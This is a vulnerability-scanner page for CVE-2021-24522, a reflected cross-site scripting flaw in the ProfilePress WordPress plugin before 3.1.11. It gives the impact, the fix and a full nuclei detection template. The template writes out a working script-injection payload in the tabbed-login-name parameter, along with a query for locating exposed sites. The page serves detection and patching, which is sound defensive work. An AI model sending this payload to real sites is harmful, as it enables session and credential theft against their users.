ProfilePress < 3.1.11 - Cross-Site Scripting

mediumseverity

5.4CVSS score

1.5%likelihood of exploitation, next 30 days

75%of all CVEs are less likely

Readycheck to confirm it

The ProfilePress plugin for WordPress before 3.1.11 is vulnerable to unauthenticated reflected cross-site scripting (XSS) via the tabbed login/register widget due to improper escaping of user input. Attackers can inject arbitrary JavaScript via the tabbed-login-name parameter.

Impact

Attackers can inject malicious JavaScript via reflected XSS in the tabbed login widget, potentially stealing user credentials or session cookies.

Fix

Update the ProfilePress plugin to version 3.1.11 or later.

How to confirm it

Send: GET /
Positive when: contains "wp-user-avatar"
Send: GET {{path}}/?tabbed-login-name="><script>alert(document.domain)</script>
Positive when: contains "<script>alert(document.domain)</script>" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24522 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-24522

info:
  name: ProfilePress < 3.1.11 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The ProfilePress plugin for WordPress before 3.1.11 is vulnerable to unauthenticated reflected cross-site scripting (XSS) via the tabbed login/register widget due to improper escaping of user input. Attackers can inject arbitrary JavaScript via the tabbed-login-name parameter.
  impact: |
    Attackers can inject malicious JavaScript via reflected XSS in the tabbed login widget, potentially stealing user credentials or session cookies.
  remediation: |
    Update the ProfilePress plugin to version 3.1.11 or later.
  reference:
    - https://wpscan.com/vulnerability/25b51add-197c-4aff-b1a8-b92fb11d8697/
    - https://plugins.trac.wordpress.org/changeset/2561271/wp-user-avatar
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24522
  classification:
    cve-id: CVE-2021-24522
    cwe-id: CWE-79
    epss-score: 0.01545
    epss-percentile: 0.75196
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
    cvss-score: 5.4
  metadata:
    max-request: 2
    fofa-query: body="wp-content/plugins/wp-user-avatar"
  tags: cve,cve2021,wordpress,wp,wp-plugin,wp-user-avatar,profilepress,xss,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - 'wp-user-avatar'
        internal: true

  - raw:
      - |
        GET {{path}}/?tabbed-login-name="><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path:
        - /
        - /wp-login
        - /wp-login.php

    host-redirects: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from